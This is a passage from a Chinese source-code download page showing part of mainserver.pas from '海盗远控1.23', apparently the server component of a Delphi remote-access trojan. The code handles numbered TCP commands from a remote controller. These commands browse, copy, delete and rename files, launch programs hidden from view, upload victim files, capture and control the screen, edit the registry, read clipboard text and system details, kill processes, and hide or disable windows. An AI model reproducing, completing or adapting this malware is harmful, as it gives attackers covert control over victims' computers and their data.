⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainserver.pas

📁 海盗远控1.23源代码
💻 PAS
📖 第 1 页 / 共 5 页
字号:
  Buf: array[1..32768] of byte;
begin
  try
 {------------------------------------}
    if StrTmpList[1]='002' then   {路径列表}
    begin
      Request:=FindFile(StrTmpList[2]);
      SendStreamToClient(IdTCPClient1,'002',Request);
      Exit;
    end;
  {------------------------------------}
 if StrTmpList[1]='003' then   {粘贴文件}
   begin
     try
       for j:=StrTmpList.Count-1 downto 3 do
          begin
            try
              Path1:=StrTmpList[2];
              Path2:=StrTmpList[j];
              if Copy(StrTmpList[j],length(StrTmpList[j]),1)='\' then
                begin
                  if DirectoryExists(StrTmpList[j]) then
                    begin
                      Delete(Path2,Length(Path2),1);
                      Temp:=Path1+GetFileName(Path2);
                      Path2:=StrTmpList[j];
                      Path1:=Temp+'\';
                      I:=0;
                      while DirectoryExists(Path1) do
                        begin
                          inc(i);
                          Path1 := GetFilepath(Temp) + '复件(' + inttoStr(i) + ')' + GetFileName(Temp)+'\';
                       end;
                      DoCopyDir(Path2,Path1);
                    end;
                end
                else begin
                  if FIleExists(StrTmpList[j])  then
                    begin
                      Path1:=StrTmpList[2];
                      Path2:=StrTmpList[j];
                      Path1:=Path1+GetFileName(Path2);
                      i:=0;
                      Temp:=Path1;
                      while FileExists(Path1) do
                        begin
                          inc(i);
                          Path1 := GetFilepath(Temp) + '复件(' + inttoStr(i) + ')' + GetFileName(Temp);
                        end;
                      Mycopyfile(Path2,Path1);
                    end;
                end;
            except
            end;
          end;

        Request:='003';
        Request:=EncodeBase64(Request);
        IdTCPClient1.Write(Request+EOL);
     except
     end;
     Exit;
   end;
 {------------------------------------}
 if StrTmpList[1]='004' then   {停止捕获}
   begin
     try
       if ScreenOver then ScreenCapture.Terminate;
       if ScrConOver then ScrControl.Terminate;
     except
     end;
     Exit;
   end;
 {------------------------------------}
 if StrTmpList[1]='005' then   {删除文件或文件夹}
   begin
     try
        for i:=StrTmpList.Count-1 downto 2 do
          begin
            try
              if Copy(StrTmpList[i],length(StrTmpList[i]),1)='\' then
                begin
                  if DirectoryExists(StrTmpList[i]) then
                     DoRemoveDir(StrTmpList[i]);
                end
                else begin
                  if FIleExists(StrTmpList[i])  then
                    begin
                      FilesetAttr(StrTmpList[i],0);
                      DeleteFile(StrTmpList[i]);
                    end;
                end;
            except
            end;
          end;
        Request:='003';
        Request:=EncodeBase64(Request);
        IdTCPClient1.Write(Request+EOL);          
     except
     end;
     Exit;
   end;
 {------------------------------------}
 if StrTmpList[1]='007' then   {重命名}
   begin
     try
       Path1:=StrTmpList[2];
       Path2:=StrTmpList[3];
        try
          Renamefile(Path1,Path2);
        except
        end;
       Request:='003';
       Request:=EncodeBase64(Request);
       IdTCPClient1.Write(Request+EOL);
     except
     end;
     Exit;
   end;
 {------------------------------------}
 if StrTmpList[1]='008' then   {新建文件夹}
   begin
     try
       Temp:=StrTmpList[2];
       i:=0;
       while DirectoryExists(Temp) do
        begin
          inc(i);
          Temp := GetFilepath(StrTmpList[2])+ GetFileName(StrTmpList[2])+ '(' + inttoStr(i) + ')';
        end;
       CreateDir(Temp);
       Request:='003';
       Request:=EncodeBase64(Request);
       IdTCPClient1.Write(Request+EOL);
     except
     end;
     Exit;
   end;
   {------------------------------------}
  if StrTmpList[1]='009' then   {新建文件}
  begin
    try
      Temp:=StrTmpList[2];
      i:=0;
      while FileExists(Temp) do
      begin
        inc(i);
        Temp := GetFilepath(StrTmpList[2])+ '新建(' + inttoStr(i) + ')'+ GetFileName(StrTmpList[2]);
      end;
      try
        RsFileS :=TFileStream.Create(Temp,fmCreate or fmShareDenyNone);
        RsFiles.Free;
      except
      end;
      Request:='003';
      Request:=EncodeBase64(Request);
      IdTCPClient1.Write(Request+EOL);
    except
    end;
     Exit;
  end;

   {------------------------------------}
 if StrTmpList[1]='010' then   {远程运行文件}
   begin
     try
       try
         Path1:=StrTmpList[3];
         Path2:=StrTmpList[4];
           case Strtoint(StrTmpList[2]) of
             0:ShellExecute(0, nil, pchar(Path1),pchar(Path2), nil, SW_NORMAL);
             1:ShellExecute(0, nil, pchar(Path1),pchar(Path2), nil, SW_HIDE);
             2:ShellExecute(0, nil, pchar(Path1),pchar(Path2), nil, SW_MAXIMIZE);
             3:ShellExecute(0, nil, pchar(Path1),pchar(Path2), nil, SW_MINIMIZE);
           end;
           Temp:=EncodeBase64('Cmd001');   //远程打开成功.
       except
         Temp:=EncodeBase64('Cmd002');    //远程打开失败.
       end;
       Request:='004';
       Request:=EncodeBase64(Request);
       IdTCPClient1.Write(Request+EOL);
       IdTCPClient1.Write(Temp+EOL);
     except
     end;
     Exit;
   end;
 {------------------------------------}
  if StrTmpList[1]='011' then   {下载文件}
  begin
    try
      DownLoadThread:=TDownLoadThread.Create;
    except
    end;
    Exit;
  end;
   {------------------------------------}
 if StrTmpList[1]='012' then   {本地打开文件}
   begin
     try
       Request:='017';
       Request:=EncodeBase64(Request);
       IdTCPClient1.Write(Request+EOL);
       AssignFile(FromF,StrTmpList[2]);
       FileMode:=0;
       Reset(FromF);
       Seek(FromF,0);
       IdTCPClient1.WriteInteger(FileSize(FromF));
       repeat
         try
           IdTCPClient1.OpenWriteBuffer;
           BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
           IdTCPClient1.WriteBuffer(Buf,NumRead);
           IdTCPClient1.CloseWriteBuffer;
         except
           CloseFile(FromF);
           Exit;
         end;
       until (NumRead = 0);
       CloseFile(FromF);
     except
     end;
     Exit;
   end;
   {------------------------------------}
 if StrTmpList[1]='013' then   {捕获屏幕}
   begin
     try
       if ScreenOver then ScreenCapture.Terminate;
       ScreenCapture:=TScreenCaptureThread.Create;
       if ScrConOver then ScrControl.Terminate;
       ScrControl:=TScrControlThread.Create;
     except
     end;
     Exit;
   end;
 {------------------------------------}
 if StrTmpList[1]='014' then   {读取注册表根键}
   begin
     try
      TheKeyNames := TStringList.Create;
      TempList:= TStringList.Create;
      Path1:=StrTmpList[2];
      Reg := TRegistry.Create;
      try
        if Path1 = 'HKEY_CLASSES_ROOT' then Reg.RootKey := HKEY_CLASSES_ROOT;
        if Path1 = 'HKEY_CURRENT_USER' then Reg.RootKey := HKEY_CURRENT_USER;
        if Path1 = 'HKEY_LOCAL_MACHINE' then Reg.RootKey := HKEY_LOCAL_MACHINE;
        if Path1 = 'HKEY_USERS' then Reg.RootKey := HKEY_USERS;
        if Path1 = 'HKEY_CURRENT_CONFIG' then Reg.RootKey := HKEY_CURRENT_CONFIG;
        if Path1 = 'HKEY_DYN_DATA' then Reg.RootKey := HKEY_DYN_DATA;
        Path2:='';
         if Reg.OpenKey(StrTmpList[3], False) then //打开键
           begin
             Reg.GetKeyNames(TheKeyNames); //读取键名列表
             for i := 0 to TheKeyNames.Count - 1 do
               begin
                 TempList.add(TheKeyNames[i]);
               end;
              Path2:=TempList.Text;
           end;
        Reg.CloseKey;
      finally
        Reg.Free;
      end;
     except
     end;
     if Path2='' then Path2:='<|000|>';
     SendStreamToClient(IdTCPClient1,'005',Path2);
     Exit;
  end;
 {------------------------------------}
   if StrTmpList[1]='015' then      {读取注册表键值}
     begin
       Request:=Reg_value(StrTmpList);
       SendStreamToClient(IdTCPClient1,'006',Request);
       Exit;
     end;

{------------------------------------}
  if StrTmpList[1]='016' then  begin   {修改建值}
     try
       Editregvalue(StrTmpList);
       Request:=Reg_value(StrTmpList);
       SendStreamToClient(IdTCPClient1,'006',Request);
     except
     end;
     Exit;
  end;

{------------------------------------}
  if StrTmpList[1]='017' then  begin   {删除建值}
     try
       Deleteregvalue(StrTmpList);
       Request:=Reg_value(StrTmpList);
       SendStreamToClient(IdTCPClient1,'006',Request);
     except
     end;
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='018' then  begin    {键名重命名}
     try
       Editregvalue(StrTmpList);
       Request:=Reg_value(StrTmpList);
       SendStreamToClient(IdTCPClient1,'006',Request);
     except
     end;
     Exit;
  end;

{------------------------------------}
  if StrTmpList[1]='019' then  begin   {新建注册表键名}
     try
       Newregvalue(StrTmpList);
       Request:=Reg_value(StrTmpList);
       SendStreamToClient(IdTCPClient1,'006',Request);
     except
     end;
     Exit;
  end;

{------------------------------------}
  if StrTmpList[1]='020' then  begin   {删除注册表主建}
     try
       Deleteregkey(StrTmpList);
       Request:=Reg_value(StrTmpList);
       SendStreamToClient(IdTCPClient1,'006',Request);
     except
     end;
     Exit;
  end;
 {----------------------------------}
  if StrTmpList[1]='021' then
  begin  {系统信息}
     Request:=SystemXingxi;
     SendStreamToClient(IdTCPClient1,'007',Request);
     Exit;
  end;
 {----------------------------------}
  if StrTmpList[1]='022' then
  begin  {文件属性}
     Request:=GetFilesSX(StrTmpList[2]);
     SendStreamToClient(IdTCPClient1,'011',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='026' then
  begin  {剪切板的内容}
     Request:=Clip_Text;
     SendStreamToClient(IdTCPClient1,'008',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='027' then  begin  {进程内容}
     Request:=Savenowtask;
     SendStreamToClient(IdTCPClient1,'009',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='028' then  begin  {终止进程}
    try
      H:=OpenProcess(Process_All_Access, True,Strtoint(StrTmpList[2]));
      TerminateProcess(H,0);
      CloseHandle(H);
    except
    end;
     Sleep(300);
     Request:=Savenowtask;
     SendStreamToClient(IdTCPClient1,'009',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='029' then
  begin   {搜索所有窗口}
     Request:=Searchallwindow;
     SendStreamToClient(IdTCPClient1,'010',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='030' then  begin   {关闭窗口}
     try
       SendMessage(allhwnd[Strtoint(StrTmpList[2])],WM_Close,0,0);
     except
     end;
     Request:=Searchallwindow;
     SendStreamToClient(IdTCPClient1,'010',Request);
     Exit;
  end;

{------------------------------------}
  if StrTmpList[1]='031' then  begin   {隐藏窗口}
     try
       Showwindow(allhwnd[strtoint(StrTmpList[2])],SW_Hide);
     except
     end;
     Request:=Searchallwindow;
     SendStreamToClient(IdTCPClient1,'010',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='032' then  begin   {显示窗口}
     try
       Showwindow(allhwnd[strtoint(StrTmpList[2])],SW_Show);
     except
     end;
     Request:=Searchallwindow;
     SendStreamToClient(IdTCPClient1,'010',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='033' then  begin   {禁用窗口}
     try
       EnableWindow(allhwnd[strtoint(StrTmpList[2])],False);
     except
     end;
     Request:=Searchallwindow;
     SendStreamToClient(IdTCPClient1,'010',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='034' then  begin   {恢复窗口}
     try
       EnableWindow(allhwnd[strtoint(StrTmpList[2])],True);
     except
     end;
     Request:=Searchallwindow;
     SendStreamToClient(IdTCPClient1,'010',Request);
     Exit;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -